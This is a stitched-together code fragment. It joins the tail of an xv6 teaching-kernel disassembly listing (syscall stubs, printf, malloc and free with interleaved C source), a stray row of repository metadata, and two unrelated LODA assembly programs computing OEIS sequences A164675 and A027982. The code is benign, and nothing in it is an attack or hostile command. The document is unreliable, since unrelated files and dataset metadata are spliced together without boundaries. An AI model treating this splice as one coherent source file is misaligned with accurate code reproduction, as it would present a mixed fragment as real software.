int $T_SYSCALL; \
ret
SYSCALL(fork)
3c00: b8 01 00 00 00 mov $0x1,%eax
3c05: cd 40 int $0x40
3c07: c3 ret
00003c08 <exit>:
SYSCALL(exit)
3c08: b8 02 00 00 00 mov $0x2,%eax
3c0d: cd 40 int $0x40
3c0f: c3 ret
00003c10 <wait>:
SYSCALL(wait)
3c10: b8 03 00 00 00 mov $0x3,%eax
3c15: cd 40 int $0x40
3c17: c3 ret
00003c18 <pipe>:
SYSCALL(pipe)
3c18: b8 04 00 00 00 mov $0x4,%eax
3c1d: cd 40 int $0x40
3c1f: c3 ret
00003c20 <read>:
SYSCALL(read)
3c20: b8 05 00 00 00 mov $0x5,%eax
3c25: cd 40 int $0x40
3c27: c3 ret
00003c28 <write>:
SYSCALL(write)
3c28: b8 10 00 00 00 mov $0x10,%eax
3c2d: cd 40 int $0x40
3c2f: c3 ret
00003c30 <close>:
SYSCALL(close)
3c30: b8 15 00 00 00 mov $0x15,%eax
3c35: cd 40 int $0x40
3c37: c3 ret
00003c38 <kill>:
SYSCALL(kill)
3c38: b8 06 00 00 00 mov $0x6,%eax
3c3d: cd 40 int $0x40
3c3f: c3 ret
00003c40 <exec>:
SYSCALL(exec)
3c40: b8 07 00 00 00 mov $0x7,%eax
3c45: cd 40 int $0x40
3c47: c3 ret
00003c48 <open>:
SYSCALL(open)
3c48: b8 0f 00 00 00 mov $0xf,%eax
3c4d: cd 40 int $0x40
3c4f: c3 ret
00003c50 <mknod>:
SYSCALL(mknod)
3c50: b8 11 00 00 00 mov $0x11,%eax
3c55: cd 40 int $0x40
3c57: c3 ret
00003c58 <unlink>:
SYSCALL(unlink)
3c58: b8 12 00 00 00 mov $0x12,%eax
3c5d: cd 40 int $0x40
3c5f: c3 ret
00003c60 <fstat>:
SYSCALL(fstat)
3c60: b8 08 00 00 00 mov $0x8,%eax
3c65: cd 40 int $0x40
3c67: c3 ret
00003c68 <link>:
SYSCALL(link)
3c68: b8 13 00 00 00 mov $0x13,%eax
3c6d: cd 40 int $0x40
3c6f: c3 ret
00003c70 <mkdir>:
SYSCALL(mkdir)
3c70: b8 14 00 00 00 mov $0x14,%eax
3c75: cd 40 int $0x40
3c77: c3 ret
00003c78 <chdir>:
SYSCALL(chdir)
3c78: b8 09 00 00 00 mov $0x9,%eax
3c7d: cd 40 int $0x40
3c7f: c3 ret
00003c80 <dup>:
SYSCALL(dup)
3c80: b8 0a 00 00 00 mov $0xa,%eax
3c85: cd 40 int $0x40
3c87: c3 ret
00003c88 <getpid>:
SYSCALL(getpid)
3c88: b8 0b 00 00 00 mov $0xb,%eax
3c8d: cd 40 int $0x40
3c8f: c3 ret
00003c90 <sbrk>:
SYSCALL(sbrk)
3c90: b8 0c 00 00 00 mov $0xc,%eax
3c95: cd 40 int $0x40
3c97: c3 ret
00003c98 <sleep>:
SYSCALL(sleep)
3c98: b8 0d 00 00 00 mov $0xd,%eax
3c9d: cd 40 int $0x40
3c9f: c3 ret
00003ca0 <uptime>:
SYSCALL(uptime)
3ca0: b8 0e 00 00 00 mov $0xe,%eax
3ca5: cd 40 int $0x40
3ca7: c3 ret
00003ca8 <getppid>:
SYSCALL(getppid) // USER DEFINED SYS CALL
3ca8: b8 16 00 00 00 mov $0x16,%eax
3cad: cd 40 int $0x40
3caf: c3 ret
00003cb0 <icount>:
SYSCALL(icount) // USER DEFINED SYS CALL
3cb0: b8 17 00 00 00 mov $0x17,%eax
3cb5: cd 40 int $0x40
3cb7: c3 ret
00003cb8 <signal>:
SYSCALL(signal) // USER DEFINED SYS CALL
3cb8: b8 18 00 00 00 mov $0x18,%eax
3cbd: cd 40 int $0x40
3cbf: c3 ret
00003cc0 <putc>:
#include "stat.h"
#include "user.h"
static void
putc(int fd, char c)
{
3cc0: 55 push %ebp
3cc1: 89 e5 mov %esp,%ebp
3cc3: 83 ec 28 sub $0x28,%esp
3cc6: 8b 45 0c mov 0xc(%ebp),%eax
3cc9: 88 45 f4 mov %al,-0xc(%ebp)
write(fd, &c, 1);
3ccc: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
3cd3: 00
3cd4: 8d 45 f4 lea -0xc(%ebp),%eax
3cd7: 89 44 24 04 mov %eax,0x4(%esp)
3cdb: 8b 45 08 mov 0x8(%ebp),%eax
3cde: 89 04 24 mov %eax,(%esp)
3ce1: e8 42 ff ff ff call 3c28 <write>
}
3ce6: c9 leave
3ce7: c3 ret
00003ce8 <printint>:
static void
printint(int fd, int xx, int base, int sgn)
{
3ce8: 55 push %ebp
3ce9: 89 e5 mov %esp,%ebp
3ceb: 83 ec 48 sub $0x48,%esp
static char digits[] = "0123456789ABCDEF";
char buf[16];
int i, neg;
uint x;
neg = 0;
3cee: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
if(sgn && xx < 0){
3cf5: 83 7d 14 00 cmpl $0x0,0x14(%ebp)
3cf9: 74 17 je 3d12 <printint+0x2a>
3cfb: 83 7d 0c 00 cmpl $0x0,0xc(%ebp)
3cff: 79 11 jns 3d12 <printint+0x2a>
neg = 1;
3d01: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp)
x = -xx;
3d08: 8b 45 0c mov 0xc(%ebp),%eax
3d0b: f7 d8 neg %eax
3d0d: 89 45 ec mov %eax,-0x14(%ebp)
3d10: eb 06 jmp 3d18 <printint+0x30>
} else {
x = xx;
3d12: 8b 45 0c mov 0xc(%ebp),%eax
3d15: 89 45 ec mov %eax,-0x14(%ebp)
}
i = 0;
3d18: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
do{
buf[i++] = digits[x % base];
3d1f: 8b 4d 10 mov 0x10(%ebp),%ecx
3d22: 8b 45 ec mov -0x14(%ebp),%eax
3d25: ba 00 00 00 00 mov $0x0,%edx
3d2a: f7 f1 div %ecx
3d2c: 89 d0 mov %edx,%eax
3d2e: 8a 80 bc 5e 00 00 mov 0x5ebc(%eax),%al
3d34: 8d 4d dc lea -0x24(%ebp),%ecx
3d37: 8b 55 f4 mov -0xc(%ebp),%edx
3d3a: 01 ca add %ecx,%edx
3d3c: 88 02 mov %al,(%edx)
3d3e: ff 45 f4 incl -0xc(%ebp)
}while((x /= base) != 0);
3d41: 8b 55 10 mov 0x10(%ebp),%edx
3d44: 89 55 d4 mov %edx,-0x2c(%ebp)
3d47: 8b 45 ec mov -0x14(%ebp),%eax
3d4a: ba 00 00 00 00 mov $0x0,%edx
3d4f: f7 75 d4 divl -0x2c(%ebp)
3d52: 89 45 ec mov %eax,-0x14(%ebp)
3d55: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
3d59: 75 c4 jne 3d1f <printint+0x37>
if(neg)
3d5b: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
3d5f: 74 2c je 3d8d <printint+0xa5>
buf[i++] = '-';
3d61: 8d 55 dc lea -0x24(%ebp),%edx
3d64: 8b 45 f4 mov -0xc(%ebp),%eax
3d67: 01 d0 add %edx,%eax
3d69: c6 00 2d movb $0x2d,(%eax)
3d6c: ff 45 f4 incl -0xc(%ebp)
while(--i >= 0)
3d6f: eb 1c jmp 3d8d <printint+0xa5>
putc(fd, buf[i]);
3d71: 8d 55 dc lea -0x24(%ebp),%edx
3d74: 8b 45 f4 mov -0xc(%ebp),%eax
3d77: 01 d0 add %edx,%eax
3d79: 8a 00 mov (%eax),%al
3d7b: 0f be c0 movsbl %al,%eax
3d7e: 89 44 24 04 mov %eax,0x4(%esp)
3d82: 8b 45 08 mov 0x8(%ebp),%eax
3d85: 89 04 24 mov %eax,(%esp)
3d88: e8 33 ff ff ff call 3cc0 <putc>
buf[i++] = digits[x % base];
}while((x /= base) != 0);
if(neg)
buf[i++] = '-';
while(--i >= 0)
3d8d: ff 4d f4 decl -0xc(%ebp)
3d90: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
3d94: 79 db jns 3d71 <printint+0x89>
putc(fd, buf[i]);
}
3d96: c9 leave
3d97: c3 ret
00003d98 <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
3d98: 55 push %ebp
3d99: 89 e5 mov %esp,%ebp
3d9b: 83 ec 38 sub $0x38,%esp
char *s;
int c, i, state;
uint *ap;
state = 0;
3d9e: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
ap = (uint*)(void*)&fmt + 1;
3da5: 8d 45 0c lea 0xc(%ebp),%eax
3da8: 83 c0 04 add $0x4,%eax
3dab: 89 45 e8 mov %eax,-0x18(%ebp)
for(i = 0; fmt[i]; i++){
3dae: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
3db5: e9 78 01 00 00 jmp 3f32 <printf+0x19a>
c = fmt[i] & 0xff;
3dba: 8b 55 0c mov 0xc(%ebp),%edx
3dbd: 8b 45 f0 mov -0x10(%ebp),%eax
3dc0: 01 d0 add %edx,%eax
3dc2: 8a 00 mov (%eax),%al
3dc4: 0f be c0 movsbl %al,%eax
3dc7: 25 ff 00 00 00 and $0xff,%eax
3dcc: 89 45 e4 mov %eax,-0x1c(%ebp)
if(state == 0){
3dcf: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
3dd3: 75 2c jne 3e01 <printf+0x69>
if(c == '%'){
3dd5: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
3dd9: 75 0c jne 3de7 <printf+0x4f>
state = '%';
3ddb: c7 45 ec 25 00 00 00 movl $0x25,-0x14(%ebp)
3de2: e9 48 01 00 00 jmp 3f2f <printf+0x197>
} else {
putc(fd, c);
3de7: 8b 45 e4 mov -0x1c(%ebp),%eax
3dea: 0f be c0 movsbl %al,%eax
3ded: 89 44 24 04 mov %eax,0x4(%esp)
3df1: 8b 45 08 mov 0x8(%ebp),%eax
3df4: 89 04 24 mov %eax,(%esp)
3df7: e8 c4 fe ff ff call 3cc0 <putc>
3dfc: e9 2e 01 00 00 jmp 3f2f <printf+0x197>
}
} else if(state == '%'){
3e01: 83 7d ec 25 cmpl $0x25,-0x14(%ebp)
3e05: 0f 85 24 01 00 00 jne 3f2f <printf+0x197>
if(c == 'd'){
3e0b: 83 7d e4 64 cmpl $0x64,-0x1c(%ebp)
3e0f: 75 2d jne 3e3e <printf+0xa6>
printint(fd, *ap, 10, 1);
3e11: 8b 45 e8 mov -0x18(%ebp),%eax
3e14: 8b 00 mov (%eax),%eax
3e16: c7 44 24 0c 01 00 00 movl $0x1,0xc(%esp)
3e1d: 00
3e1e: c7 44 24 08 0a 00 00 movl $0xa,0x8(%esp)
3e25: 00
3e26: 89 44 24 04 mov %eax,0x4(%esp)
3e2a: 8b 45 08 mov 0x8(%ebp),%eax
3e2d: 89 04 24 mov %eax,(%esp)
3e30: e8 b3 fe ff ff call 3ce8 <printint>
ap++;
3e35: 83 45 e8 04 addl $0x4,-0x18(%ebp)
3e39: e9 ea 00 00 00 jmp 3f28 <printf+0x190>
} else if(c == 'x' || c == 'p'){
3e3e: 83 7d e4 78 cmpl $0x78,-0x1c(%ebp)
3e42: 74 06 je 3e4a <printf+0xb2>
3e44: 83 7d e4 70 cmpl $0x70,-0x1c(%ebp)
3e48: 75 2d jne 3e77 <printf+0xdf>
printint(fd, *ap, 16, 0);
3e4a: 8b 45 e8 mov -0x18(%ebp),%eax
3e4d: 8b 00 mov (%eax),%eax
3e4f: c7 44 24 0c 00 00 00 movl $0x0,0xc(%esp)
3e56: 00
3e57: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp)
3e5e: 00
3e5f: 89 44 24 04 mov %eax,0x4(%esp)
3e63: 8b 45 08 mov 0x8(%ebp),%eax
3e66: 89 04 24 mov %eax,(%esp)
3e69: e8 7a fe ff ff call 3ce8 <printint>
ap++;
3e6e: 83 45 e8 04 addl $0x4,-0x18(%ebp)
3e72: e9 b1 00 00 00 jmp 3f28 <printf+0x190>
} else if(c == 's'){
3e77: 83 7d e4 73 cmpl $0x73,-0x1c(%ebp)
3e7b: 75 43 jne 3ec0 <printf+0x128>
s = (char*)*ap;
3e7d: 8b 45 e8 mov -0x18(%ebp),%eax
3e80: 8b 00 mov (%eax),%eax
3e82: 89 45 f4 mov %eax,-0xc(%ebp)
ap++;
3e85: 83 45 e8 04 addl $0x4,-0x18(%ebp)
if(s == 0)
3e89: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
3e8d: 75 25 jne 3eb4 <printf+0x11c>
s = "(null)";
3e8f: c7 45 f4 22 58 00 00 movl $0x5822,-0xc(%ebp)
while(*s != 0){
3e96: eb 1c jmp 3eb4 <printf+0x11c>
putc(fd, *s);
3e98: 8b 45 f4 mov -0xc(%ebp),%eax
3e9b: 8a 00 mov (%eax),%al
3e9d: 0f be c0 movsbl %al,%eax
3ea0: 89 44 24 04 mov %eax,0x4(%esp)
3ea4: 8b 45 08 mov 0x8(%ebp),%eax
3ea7: 89 04 24 mov %eax,(%esp)
3eaa: e8 11 fe ff ff call 3cc0 <putc>
s++;
3eaf: ff 45 f4 incl -0xc(%ebp)
3eb2: eb 01 jmp 3eb5 <printf+0x11d>
} else if(c == 's'){
s = (char*)*ap;
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
3eb4: 90 nop
3eb5: 8b 45 f4 mov -0xc(%ebp),%eax
3eb8: 8a 00 mov (%eax),%al
3eba: 84 c0 test %al,%al
3ebc: 75 da jne 3e98 <printf+0x100>
3ebe: eb 68 jmp 3f28 <printf+0x190>
putc(fd, *s);
s++;
}
} else if(c == 'c'){
3ec0: 83 7d e4 63 cmpl $0x63,-0x1c(%ebp)
3ec4: 75 1d jne 3ee3 <printf+0x14b>
putc(fd, *ap);
3ec6: 8b 45 e8 mov -0x18(%ebp),%eax
3ec9: 8b 00 mov (%eax),%eax
3ecb: 0f be c0 movsbl %al,%eax
3ece: 89 44 24 04 mov %eax,0x4(%esp)
3ed2: 8b 45 08 mov 0x8(%ebp),%eax
3ed5: 89 04 24 mov %eax,(%esp)
3ed8: e8 e3 fd ff ff call 3cc0 <putc>
ap++;
3edd: 83 45 e8 04 addl $0x4,-0x18(%ebp)
3ee1: eb 45 jmp 3f28 <printf+0x190>
} else if(c == '%'){
3ee3: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
3ee7: 75 17 jne 3f00 <printf+0x168>
putc(fd, c);
3ee9: 8b 45 e4 mov -0x1c(%ebp),%eax
3eec: 0f be c0 movsbl %al,%eax
3eef: 89 44 24 04 mov %eax,0x4(%esp)
3ef3: 8b 45 08 mov 0x8(%ebp),%eax
3ef6: 89 04 24 mov %eax,(%esp)
3ef9: e8 c2 fd ff ff call 3cc0 <putc>
3efe: eb 28 jmp 3f28 <printf+0x190>
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
3f00: c7 44 24 04 25 00 00 movl $0x25,0x4(%esp)
3f07: 00
3f08: 8b 45 08 mov 0x8(%ebp),%eax
3f0b: 89 04 24 mov %eax,(%esp)
3f0e: e8 ad fd ff ff call 3cc0 <putc>
putc(fd, c);
3f13: 8b 45 e4 mov -0x1c(%ebp),%eax
3f16: 0f be c0 movsbl %al,%eax
3f19: 89 44 24 04 mov %eax,0x4(%esp)
3f1d: 8b 45 08 mov 0x8(%ebp),%eax
3f20: 89 04 24 mov %eax,(%esp)
3f23: e8 98 fd ff ff call 3cc0 <putc>
}
state = 0;
3f28: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
3f2f: ff 45 f0 incl -0x10(%ebp)
3f32: 8b 55 0c mov 0xc(%ebp),%edx
3f35: 8b 45 f0 mov -0x10(%ebp),%eax
3f38: 01 d0 add %edx,%eax
3f3a: 8a 00 mov (%eax),%al
3f3c: 84 c0 test %al,%al
3f3e: 0f 85 76 fe ff ff jne 3dba <printf+0x22>
putc(fd, c);
}
state = 0;
}
}
}
3f44: c9 leave
3f45: c3 ret
3f46: 66 90 xchg %ax,%ax
00003f48 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
3f48: 55 push %ebp
3f49: 89 e5 mov %esp,%ebp
3f4b: 83 ec 10 sub $0x10,%esp
Header *bp, *p;
bp = (Header*)ap - 1;
3f4e: 8b 45 08 mov 0x8(%ebp),%eax
3f51: 83 e8 08 sub $0x8,%eax
3f54: 89 45 f8 mov %eax,-0x8(%ebp)
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
3f57: a1 68 5f 00 00 mov 0x5f68,%eax
3f5c: 89 45 fc mov %eax,-0x4(%ebp)
3f5f: eb 24 jmp 3f85 <free+0x3d>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
3f61: 8b 45 fc mov -0x4(%ebp),%eax
3f64: 8b 00 mov (%eax),%eax
3f66: 3b 45 fc cmp -0x4(%ebp),%eax
3f69: 77 12 ja 3f7d <free+0x35>
3f6b: 8b 45 f8 mov -0x8(%ebp),%eax
3f6e: 3b 45 fc cmp -0x4(%ebp),%eax
3f71: 77 24 ja 3f97 <free+0x4f>
3f73: 8b 45 fc mov -0x4(%ebp),%eax
3f76: 8b 00 mov (%eax),%eax
3f78: 3b 45 f8 cmp -0x8(%ebp),%eax
3f7b: 77 1a ja 3f97 <free+0x4f>
free(void *ap)
{
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
3f7d: 8b 45 fc mov -0x4(%ebp),%eax
3f80: 8b 00 mov (%eax),%eax
3f82: 89 45 fc mov %eax,-0x4(%ebp)
3f85: 8b 45 f8 mov -0x8(%ebp),%eax
3f88: 3b 45 fc cmp -0x4(%ebp),%eax
3f8b: 76 d4 jbe 3f61 <free+0x19>
3f8d: 8b 45 fc mov -0x4(%ebp),%eax
3f90: 8b 00 mov (%eax),%eax
3f92: 3b 45 f8 cmp -0x8(%ebp),%eax
3f95: 76 ca jbe 3f61 <free+0x19>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
break;
if(bp + bp->s.size == p->s.ptr){
3f97: 8b 45 f8 mov -0x8(%ebp),%eax
3f9a: 8b 40 04 mov 0x4(%eax),%eax
3f9d: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx
3fa4: 8b 45 f8 mov -0x8(%ebp),%eax
3fa7: 01 c2 add %eax,%edx
3fa9: 8b 45 fc mov -0x4(%ebp),%eax
3fac: 8b 00 mov (%eax),%eax
3fae: 39 c2 cmp %eax,%edx
3fb0: 75 24 jne 3fd6 <free+0x8e>
bp->s.size += p->s.ptr->s.size;
3fb2: 8b 45 f8 mov -0x8(%ebp),%eax
3fb5: 8b 50 04 mov 0x4(%eax),%edx
3fb8: 8b 45 fc mov -0x4(%ebp),%eax
3fbb: 8b 00 mov (%eax),%eax
3fbd: 8b 40 04 mov 0x4(%eax),%eax
3fc0: 01 c2 add %eax,%edx
3fc2: 8b 45 f8 mov -0x8(%ebp),%eax
3fc5: 89 50 04 mov %edx,0x4(%eax)
bp->s.ptr = p->s.ptr->s.ptr;
3fc8: 8b 45 fc mov -0x4(%ebp),%eax
3fcb: 8b 00 mov (%eax),%eax
3fcd: 8b 10 mov (%eax),%edx
3fcf: 8b 45 f8 mov -0x8(%ebp),%eax
3fd2: 89 10 mov %edx,(%eax)
3fd4: eb 0a jmp 3fe0 <free+0x98>
} else
bp->s.ptr = p->s.ptr;
3fd6: 8b 45 fc mov -0x4(%ebp),%eax
3fd9: 8b 10 mov (%eax),%edx
3fdb: 8b 45 f8 mov -0x8(%ebp),%eax
3fde: 89 10 mov %edx,(%eax)
if(p + p->s.size == bp){
3fe0: 8b 45 fc mov -0x4(%ebp),%eax
3fe3: 8b 40 04 mov 0x4(%eax),%eax
3fe6: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx
3fed: 8b 45 fc mov -0x4(%ebp),%eax
3ff0: 01 d0 add %edx,%eax
3ff2: 3b 45 f8 cmp -0x8(%ebp),%eax
3ff5: 75 20 jne 4017 <free+0xcf>
p->s.size += bp->s.size;
3ff7: 8b 45 fc mov -0x4(%ebp),%eax
3ffa: 8b 50 04 mov 0x4(%eax),%edx
3ffd: 8b 45 f8 mov -0x8(%ebp),%eax
4000: 8b 40 04 mov 0x4(%eax),%eax
4003: 01 c2 add %eax,%edx
4005: 8b 45 fc mov -0x4(%ebp),%eax
4008: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
400b: 8b 45 f8 mov -0x8(%ebp),%eax
400e: 8b 10 mov (%eax),%edx
4010: 8b 45 fc mov -0x4(%ebp),%eax
4013: 89 10 mov %edx,(%eax)
4015: eb 08 jmp 401f <free+0xd7>
} else
p->s.ptr = bp;
4017: 8b 45 fc mov -0x4(%ebp),%eax
401a: 8b 55 f8 mov -0x8(%ebp),%edx
401d: 89 10 mov %edx,(%eax)
freep = p;
401f: 8b 45 fc mov -0x4(%ebp),%eax
4022: a3 68 5f 00 00 mov %eax,0x5f68
}
4027: c9 leave
4028: c3 ret
00004029 <morecore>:
static Header*
morecore(uint nu)
{
4029: 55 push %ebp
402a: 89 e5 mov %esp,%ebp
402c: 83 ec 28 sub $0x28,%esp
char *p;
Header *hp;
if(nu < 4096)
402f: 81 7d 08 ff 0f 00 00 cmpl $0xfff,0x8(%ebp)
4036: 77 07 ja 403f <morecore+0x16>
nu = 4096;
4038: c7 45 08 00 10 00 00 movl $0x1000,0x8(%ebp)
p = sbrk(nu * sizeof(Header));
403f: 8b 45 08 mov 0x8(%ebp),%eax
4042: c1 e0 03 shl $0x3,%eax
4045: 89 04 24 mov %eax,(%esp)
4048: e8 43 fc ff ff call 3c90 <sbrk>
404d: 89 45 f4 mov %eax,-0xc(%ebp)
if(p == (char*)-1)
4050: 83 7d f4 ff cmpl $0xffffffff,-0xc(%ebp)
4054: 75 07 jne 405d <morecore+0x34>
return 0;
4056: b8 00 00 00 00 mov $0x0,%eax
405b: eb 22 jmp 407f <morecore+0x56>
hp = (Header*)p;
405d: 8b 45 f4 mov -0xc(%ebp),%eax
4060: 89 45 f0 mov %eax,-0x10(%ebp)
hp->s.size = nu;
4063: 8b 45 f0 mov -0x10(%ebp),%eax
4066: 8b 55 08 mov 0x8(%ebp),%edx
4069: 89 50 04 mov %edx,0x4(%eax)
free((void*)(hp + 1));
406c: 8b 45 f0 mov -0x10(%ebp),%eax
406f: 83 c0 08 add $0x8,%eax
4072: 89 04 24 mov %eax,(%esp)
4075: e8 ce fe ff ff call 3f48 <free>
return freep;
407a: a1 68 5f 00 00 mov 0x5f68,%eax
}
407f: c9 leave
4080: c3 ret
00004081 <malloc>:
void*
malloc(uint nbytes)
{
4081: 55 push %ebp
4082: 89 e5 mov %esp,%ebp
4084: 83 ec 28 sub $0x28,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
4087: 8b 45 08 mov 0x8(%ebp),%eax
408a: 83 c0 07 add $0x7,%eax
408d: c1 e8 03 shr $0x3,%eax
4090: 40 inc %eax
4091: 89 45 ec mov %eax,-0x14(%ebp)
if((prevp = freep) == 0){
4094: a1 68 5f 00 00 mov 0x5f68,%eax
4099: 89 45 f0 mov %eax,-0x10(%ebp)
409c: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
40a0: 75 23 jne 40c5 <malloc+0x44>
base.s.ptr = freep = prevp = &base;
40a2: c7 45 f0 60 5f 00 00 movl $0x5f60,-0x10(%ebp)
40a9: 8b 45 f0 mov -0x10(%ebp),%eax
40ac: a3 68 5f 00 00 mov %eax,0x5f68
40b1: a1 68 5f 00 00 mov 0x5f68,%eax
40b6: a3 60 5f 00 00 mov %eax,0x5f60
base.s.size = 0;
40bb: c7 05 64 5f 00 00 00 movl $0x0,0x5f64
40c2: 00 00 00
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
40c5: 8b 45 f0 mov -0x10(%ebp),%eax
40c8: 8b 00 mov (%eax),%eax
40ca: 89 45 f4 mov %eax,-0xc(%ebp)
if(p->s.size >= nunits){
40cd: 8b 45 f4 mov -0xc(%ebp),%eax
40d0: 8b 40 04 mov 0x4(%eax),%eax
40d3: 3b 45 ec cmp -0x14(%ebp),%eax
40d6: 72 4d jb 4125 <malloc+0xa4>
if(p->s.size == nunits)
40d8: 8b 45 f4 mov -0xc(%ebp),%eax
40db: 8b 40 04 mov 0x4(%eax),%eax
40de: 3b 45 ec cmp -0x14(%ebp),%eax
40e1: 75 0c jne 40ef <malloc+0x6e>
prevp->s.ptr = p->s.ptr;
40e3: 8b 45 f4 mov -0xc(%ebp),%eax
40e6: 8b 10 mov (%eax),%edx
40e8: 8b 45 f0 mov -0x10(%ebp),%eax
40eb: 89 10 mov %edx,(%eax)
40ed: eb 26 jmp 4115 <malloc+0x94>
else {
p->s.size -= nunits;
40ef: 8b 45 f4 mov -0xc(%ebp),%eax
40f2: 8b 40 04 mov 0x4(%eax),%eax
40f5: 89 c2 mov %eax,%edx
40f7: 2b 55 ec sub -0x14(%ebp),%edx
40fa: 8b 45 f4 mov -0xc(%ebp),%eax
40fd: 89 50 04 mov %edx,0x4(%eax)
p += p->s.size;
4100: 8b 45 f4 mov -0xc(%ebp),%eax
4103: 8b 40 04 mov 0x4(%eax),%eax
4106: c1 e0 03 shl $0x3,%eax
4109: 01 45 f4 add %eax,-0xc(%ebp)
p->s.size = nunits;
410c: 8b 45 f4 mov -0xc(%ebp),%eax
410f: 8b 55 ec mov -0x14(%ebp),%edx
4112: 89 50 04 mov %edx,0x4(%eax)
}
freep = prevp;
4115: 8b 45 f0 mov -0x10(%ebp),%eax
4118: a3 68 5f 00 00 mov %eax,0x5f68
return (void*)(p + 1);
411d: 8b 45 f4 mov -0xc(%ebp),%eax
4120: 83 c0 08 add $0x8,%eax
4123: eb 38 jmp 415d <malloc+0xdc>
}
if(p == freep)
4125: a1 68 5f 00 00 mov 0x5f68,%eax
412a: 39 45 f4 cmp %eax,-0xc(%ebp)
412d: 75 1b jne 414a <malloc+0xc9>
if((p = morecore(nunits)) == 0)
412f: 8b 45 ec mov -0x14(%ebp),%eax
4132: 89 04 24 mov %eax,(%esp)
4135: e8 ef fe ff ff call 4029 <morecore>
413a: 89 45 f4 mov %eax,-0xc(%ebp)
413d: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
4141: 75 07 jne 414a <malloc+0xc9>
return 0;
4143: b8 00 00 00 00 mov $0x0,%eax
4148: eb 13 jmp 415d <malloc+0xdc>
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
414a: 8b 45 f4 mov -0xc(%ebp),%eax
414d: 89 45 f0 mov %eax,-0x10(%ebp)
4150: 8b 45 f4 mov -0xc(%ebp),%eax
4153: 8b 00 mov (%eax),%eax
4155: 89 45 f4 mov %eax,-0xc(%ebp)
return (void*)(p + 1);
}
if(p == freep)
if((p = morecore(nunits)) == 0)
return 0;
}
4158: e9 70 ff ff ff jmp 40cd <malloc+0x4c>
}
415d: c9 leave
415e: c3 ret
| 37.974417 | 240 | 0.462353 | [
"MIT-0"
] | vlnvv/xv6-os | usertests.asm | 268,669 | Assembly |
; A164675: a(n) = 8*a(n-2) for n > 2; a(1) = 1, a(2) = 12.
; 1,12,8,96,64,768,512,6144,4096,49152,32768,393216,262144,3145728,2097152,25165824,16777216,201326592,134217728,1610612736,1073741824,12884901888,8589934592,103079215104,68719476736,824633720832,549755813888,6597069766656,4398046511104,52776558133248,35184372088832,422212465065984,281474976710656,3377699720527872,2251799813685248,27021597764222976,18014398509481984,216172782113783808,144115188075855872,1729382256910270464,1152921504606846976,13835058055282163712,9223372036854775808
mov $1,$0
mod $0,2
add $0,2
lpb $1
sub $1,1
trn $1,1
mov $2,4
mul $2,$0
mul $2,2
mov $0,$2
lpe
sub $0,2
div $0,2
add $0,1
| 37.888889 | 487 | 0.784457 | [
"Apache-2.0"
] | ckrause/loda-programs | oeis/164/A164675.asm | 682 | Assembly |
; A027982: Sum{(k+1)*T(n,2n-k)}, 0<=k<=2n, T given by A027960.
; 1,10,38,108,270,632,1426,3148,6854,14784,31674,67508,143278,303016,638882,1343388,2817942,5898128,12320650,25689988,53477246,111148920,230686578,478150508,989855590,2046820192,4227858266,8724152148,17985175374,37044092744,76235669314,156766306108,322122546998,661424963376,1357209665322,2783138807588,5703716568862,11682311044888,23914377903890,48928267435788,100055558127366,204509162766080,417814418554618,853221023153908,1741626418396910,3553621580971752,7247980650299106,14777436277309148,30117822508039894,61361544922922704,124974889659530954,254453378946432708,517913957147606718,1053842312804695736,2143713422628355762,4359484439294639788,8863084066665135782,18014398509481983648,36605257771267391130,74363437047141629588,151032717103496953486,306677120225421295240,622577612487697366658,1263601969049104285308,2564097426245627674230,5201981828786093555312,10551537610161863523946,21398223125503079874148,43386742061364865400414,87954075743447142104664,178269334728329106816594,361261035939527858847308,731966804844795008122438,1482823075621068597100096,3003425083105094355910202,6082408029936103035239988,12315931787324034717318702,24934095029551726728314408,50472652968910768043982370,102154231757436165262671388,206726315154101588874755606,418288333586661694448336400,846248073730240422294322698,1711838960574314911383944708,3462363547376297956358487550,7002098347207932179898170872,14158939199326536894158732786,28627363408474418857042247148,57873696836591527851534056934,116985333712468435977967238624,236446547503507632505732726234,477844855164156786111061949908,965593230642596614421316894158,1950993501913759313241019776456,3941601085084650795278811528642,7962430332683565928151167008188,16083316990395660531489421917622,32483546630848378413353019637168,65600918561810871527454390877610,132469487723849972456405484961188
mov $1,1
add $1,$0
mov $2,$0
lpb $2
add $0,5
mul $1,2
add $1,$0
sub $2,1
lpe
mov $0,$1
